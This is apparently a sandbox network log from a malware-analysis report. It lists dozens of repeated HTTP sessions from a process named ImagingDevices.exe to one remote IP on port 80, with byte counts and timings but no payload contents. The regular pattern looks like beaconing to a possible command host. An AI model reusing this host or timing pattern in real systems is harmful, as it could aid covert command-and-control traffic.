Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
20 | 192.168.2.4 | 49760 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:41.484457016 CEST | 244 | OUT | |
Apr 3, 2024 06:37:41.608827114 CEST | 149 | OUT | |
Apr 3, 2024 06:37:42.052025080 CEST | 635 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
21 | 192.168.2.4 | 49761 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:42.314099073 CEST | 244 | OUT | |
Apr 3, 2024 06:37:42.439030886 CEST | 149 | OUT | |
Apr 3, 2024 06:37:42.879087925 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
22 | 192.168.2.4 | 49762 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:43.152523994 CEST | 244 | OUT | |
Apr 3, 2024 06:37:43.277462006 CEST | 149 | OUT | |
Apr 3, 2024 06:37:43.712430954 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
23 | 192.168.2.4 | 49763 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:43.987495899 CEST | 244 | OUT | |
Apr 3, 2024 06:37:44.114038944 CEST | 149 | OUT | |
Apr 3, 2024 06:37:44.554058075 CEST | 631 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
24 | 192.168.2.4 | 49764 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:45.205065012 CEST | 244 | OUT | |
Apr 3, 2024 06:37:45.329044104 CEST | 149 | OUT | |
Apr 3, 2024 06:37:45.763633013 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
25 | 192.168.2.4 | 49765 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:46.959263086 CEST | 244 | OUT | |
Apr 3, 2024 06:37:47.083638906 CEST | 149 | OUT | |
Apr 3, 2024 06:37:47.518312931 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
26 | 192.168.2.4 | 49766 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:47.778228998 CEST | 244 | OUT | |
Apr 3, 2024 06:37:47.902832031 CEST | 149 | OUT | |
Apr 3, 2024 06:37:48.190229893 CEST | 631 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
27 | 192.168.2.4 | 49767 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:48.477935076 CEST | 244 | OUT | |
Apr 3, 2024 06:37:48.603128910 CEST | 149 | OUT | |
Apr 3, 2024 06:37:48.892909050 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
28 | 192.168.2.4 | 49768 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:49.163901091 CEST | 244 | OUT | |
Apr 3, 2024 06:37:49.288872957 CEST | 149 | OUT | |
Apr 3, 2024 06:37:49.587447882 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
29 | 192.168.2.4 | 49769 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:49.855566025 CEST | 244 | OUT | |
Apr 3, 2024 06:37:49.980385065 CEST | 149 | OUT | |
Apr 3, 2024 06:37:50.284646034 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
30 | 192.168.2.4 | 49770 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:50.546988010 CEST | 244 | OUT | |
Apr 3, 2024 06:37:50.672096014 CEST | 149 | OUT | |
Apr 3, 2024 06:37:50.965027094 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
31 | 192.168.2.4 | 49772 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:51.243601084 CEST | 244 | OUT | |
Apr 3, 2024 06:37:51.367784023 CEST | 149 | OUT | |
Apr 3, 2024 06:37:51.667047977 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
32 | 192.168.2.4 | 49773 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:51.947016954 CEST | 244 | OUT | |
Apr 3, 2024 06:37:52.071666956 CEST | 149 | OUT | |
Apr 3, 2024 06:37:52.502201080 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
33 | 192.168.2.4 | 49774 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:52.772037029 CEST | 244 | OUT | |
Apr 3, 2024 06:37:52.897661924 CEST | 149 | OUT | |
Apr 3, 2024 06:37:53.322824955 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
34 | 192.168.2.4 | 49775 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:53.598973036 CEST | 244 | OUT | |
Apr 3, 2024 06:37:53.723952055 CEST | 149 | OUT | |
Apr 3, 2024 06:37:54.150489092 CEST | 629 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
35 | 192.168.2.4 | 49776 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:54.423487902 CEST | 244 | OUT | |
Apr 3, 2024 06:37:54.548974037 CEST | 149 | OUT | |
Apr 3, 2024 06:37:54.846003056 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
36 | 192.168.2.4 | 49777 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:55.108964920 CEST | 244 | OUT | |
Apr 3, 2024 06:37:55.234338045 CEST | 149 | OUT | |
Apr 3, 2024 06:37:55.527488947 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
37 | 192.168.2.4 | 49778 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:55.796602011 CEST | 244 | OUT | |
Apr 3, 2024 06:37:55.921500921 CEST | 149 | OUT | |
Apr 3, 2024 06:37:56.348131895 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
38 | 192.168.2.4 | 49779 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:56.609631062 CEST | 244 | OUT | |
Apr 3, 2024 06:37:56.734040976 CEST | 149 | OUT | |
Apr 3, 2024 06:37:57.166856050 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
39 | 192.168.2.4 | 49780 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:57.435446978 CEST | 244 | OUT | |
Apr 3, 2024 06:37:57.562799931 CEST | 149 | OUT | |
Apr 3, 2024 06:37:57.862072945 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
40 | 192.168.2.4 | 49781 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:58.122430086 CEST | 244 | OUT | |
Apr 3, 2024 06:37:58.247253895 CEST | 149 | OUT | |
Apr 3, 2024 06:37:58.551086903 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
41 | 192.168.2.4 | 49782 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:58.810148954 CEST | 244 | OUT | |
Apr 3, 2024 06:37:58.934648037 CEST | 149 | OUT | |
Apr 3, 2024 06:37:59.368338108 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
42 | 192.168.2.4 | 49783 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:37:59.640455008 CEST | 244 | OUT | |
Apr 3, 2024 06:37:59.765212059 CEST | 149 | OUT | |
Apr 3, 2024 06:38:00.062184095 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
43 | 192.168.2.4 | 49784 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:00.331065893 CEST | 244 | OUT | |
Apr 3, 2024 06:38:00.456084967 CEST | 149 | OUT | |
Apr 3, 2024 06:38:00.744595051 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
44 | 192.168.2.4 | 49785 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:01.015338898 CEST | 244 | OUT | |
Apr 3, 2024 06:38:01.140033960 CEST | 149 | OUT | |
Apr 3, 2024 06:38:01.575891972 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
45 | 192.168.2.4 | 49786 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:01.844435930 CEST | 244 | OUT | |
Apr 3, 2024 06:38:01.969675064 CEST | 149 | OUT | |
Apr 3, 2024 06:38:02.272619963 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
46 | 192.168.2.4 | 49787 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:02.546391010 CEST | 244 | OUT | |
Apr 3, 2024 06:38:02.671345949 CEST | 149 | OUT | |
Apr 3, 2024 06:38:02.965898991 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
47 | 192.168.2.4 | 49788 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:03.254673004 CEST | 244 | OUT | |
Apr 3, 2024 06:38:03.382950068 CEST | 149 | OUT | |
Apr 3, 2024 06:38:03.684485912 CEST | 629 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
48 | 192.168.2.4 | 49789 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:05.256072998 CEST | 244 | OUT | |
Apr 3, 2024 06:38:05.380669117 CEST | 149 | OUT | |
Apr 3, 2024 06:38:05.674985886 CEST | 633 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
49 | 192.168.2.4 | 49790 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:05.938499928 CEST | 244 | OUT | |
Apr 3, 2024 06:38:06.063873053 CEST | 149 | OUT | |
Apr 3, 2024 06:38:06.362993002 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
50 | 192.168.2.4 | 49791 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:06.650554895 CEST | 244 | OUT | |
Apr 3, 2024 06:38:06.774986982 CEST | 149 | OUT | |
Apr 3, 2024 06:38:07.077550888 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
51 | 192.168.2.4 | 49792 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:07.360241890 CEST | 244 | OUT | |
Apr 3, 2024 06:38:07.484905958 CEST | 149 | OUT | |
Apr 3, 2024 06:38:07.923548937 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
52 | 192.168.2.4 | 49793 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:08.198877096 CEST | 244 | OUT | |
Apr 3, 2024 06:38:08.323491096 CEST | 149 | OUT | |
Apr 3, 2024 06:38:08.766911983 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
53 | 192.168.2.4 | 49794 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:09.042243004 CEST | 244 | OUT | |
Apr 3, 2024 06:38:09.167139053 CEST | 149 | OUT | |
Apr 3, 2024 06:38:09.607609987 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
54 | 192.168.2.4 | 49795 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:09.892412901 CEST | 244 | OUT | |
Apr 3, 2024 06:38:10.016803026 CEST | 149 | OUT | |
Apr 3, 2024 06:38:10.445008993 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
55 | 192.168.2.4 | 49796 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:10.724951982 CEST | 244 | OUT | |
Apr 3, 2024 06:38:10.850409031 CEST | 149 | OUT | |
Apr 3, 2024 06:38:11.145678043 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
56 | 192.168.2.4 | 49797 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:11.400710106 CEST | 244 | OUT | |
Apr 3, 2024 06:38:11.525583029 CEST | 149 | OUT | |
Apr 3, 2024 06:38:11.955082893 CEST | 631 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
57 | 192.168.2.4 | 49798 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:12.218805075 CEST | 244 | OUT | |
Apr 3, 2024 06:38:12.343585968 CEST | 149 | OUT | |
Apr 3, 2024 06:38:12.639208078 CEST | 617 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
58 | 192.168.2.4 | 49799 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:12.911561966 CEST | 244 | OUT | |
Apr 3, 2024 06:38:13.036227942 CEST | 149 | OUT | |
Apr 3, 2024 06:38:13.334644079 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
59 | 192.168.2.4 | 49800 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:13.658000946 CEST | 244 | OUT | |
Apr 3, 2024 06:38:13.782311916 CEST | 149 | OUT | |
Apr 3, 2024 06:38:14.072319031 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
60 | 192.168.2.4 | 49801 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:14.340653896 CEST | 244 | OUT | |
Apr 3, 2024 06:38:14.465980053 CEST | 149 | OUT | |
Apr 3, 2024 06:38:14.900976896 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
61 | 192.168.2.4 | 49802 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:15.179954052 CEST | 244 | OUT | |
Apr 3, 2024 06:38:15.304460049 CEST | 149 | OUT | |
Apr 3, 2024 06:38:15.592637062 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
62 | 192.168.2.4 | 49803 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:15.873778105 CEST | 244 | OUT | |
Apr 3, 2024 06:38:16.002515078 CEST | 149 | OUT | |
Apr 3, 2024 06:38:16.293138981 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
63 | 192.168.2.4 | 49804 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:16.574817896 CEST | 244 | OUT | |
Apr 3, 2024 06:38:16.699525118 CEST | 149 | OUT | |
Apr 3, 2024 06:38:16.999825954 CEST | 629 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
64 | 192.168.2.4 | 49805 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:17.269664049 CEST | 244 | OUT | |
Apr 3, 2024 06:38:17.397470951 CEST | 149 | OUT | |
Apr 3, 2024 06:38:17.697709084 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
65 | 192.168.2.4 | 49806 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:17.972593069 CEST | 244 | OUT | |
Apr 3, 2024 06:38:18.097440004 CEST | 149 | OUT | |
Apr 3, 2024 06:38:18.401093006 CEST | 631 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
66 | 192.168.2.4 | 49807 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:18.685116053 CEST | 244 | OUT | |
Apr 3, 2024 06:38:18.810034990 CEST | 149 | OUT | |
Apr 3, 2024 06:38:19.107027054 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
67 | 192.168.2.4 | 49808 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:19.372255087 CEST | 244 | OUT | |
Apr 3, 2024 06:38:19.497173071 CEST | 149 | OUT | |
Apr 3, 2024 06:38:19.941133022 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
68 | 192.168.2.4 | 49809 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:20.198908091 CEST | 244 | OUT | |
Apr 3, 2024 06:38:20.323904991 CEST | 149 | OUT | |
Apr 3, 2024 06:38:20.621764898 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
69 | 192.168.2.4 | 49810 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:20.890742064 CEST | 244 | OUT | |
Apr 3, 2024 06:38:21.015816927 CEST | 149 | OUT | |
Apr 3, 2024 06:38:21.458014965 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
70 | 192.168.2.4 | 49811 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:21.763703108 CEST | 244 | OUT | |
Apr 3, 2024 06:38:21.889727116 CEST | 149 | OUT | |
Apr 3, 2024 06:38:22.333748102 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
71 | 192.168.2.4 | 49812 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:23.522238970 CEST | 244 | OUT | |
Apr 3, 2024 06:38:23.647484064 CEST | 149 | OUT | |
Apr 3, 2024 06:38:23.938572884 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
72 | 192.168.2.4 | 49813 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:24.205255985 CEST | 244 | OUT | |
Apr 3, 2024 06:38:24.329957962 CEST | 149 | OUT | |
Apr 3, 2024 06:38:24.761571884 CEST | 625 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
73 | 192.168.2.4 | 49814 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:25.036535025 CEST | 244 | OUT | |
Apr 3, 2024 06:38:25.164449930 CEST | 149 | OUT | |
Apr 3, 2024 06:38:25.455316067 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
74 | 192.168.2.4 | 49815 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:25.719182014 CEST | 244 | OUT | |
Apr 3, 2024 06:38:25.843756914 CEST | 149 | OUT | |
Apr 3, 2024 06:38:26.271128893 CEST | 623 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
75 | 192.168.2.4 | 49816 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:26.534492016 CEST | 244 | OUT | |
Apr 3, 2024 06:38:26.659351110 CEST | 149 | OUT | |
Apr 3, 2024 06:38:26.953021049 CEST | 627 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
76 | 192.168.2.4 | 49817 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:27.224946976 CEST | 244 | OUT | |
Apr 3, 2024 06:38:27.349596024 CEST | 149 | OUT | |
Apr 3, 2024 06:38:27.639605999 CEST | 629 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
77 | 192.168.2.4 | 49818 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:27.904800892 CEST | 244 | OUT | |
Apr 3, 2024 06:38:28.029470921 CEST | 149 | OUT | |
Apr 3, 2024 06:38:28.327128887 CEST | 621 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
78 | 192.168.2.4 | 49819 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Timestamp | Bytes transferred | Direction | Data |
---|---|---|---|
Apr 3, 2024 06:38:28.593678951 CEST | 244 | OUT | |
Apr 3, 2024 06:38:28.718050003 CEST | 149 | OUT | |
Apr 3, 2024 06:38:29.010371923 CEST | 619 | IN |
Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
---|---|---|---|---|---|---|
79 | 192.168.2.4 | 49820 | 104.21.13.124 | 80 | 7560 | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
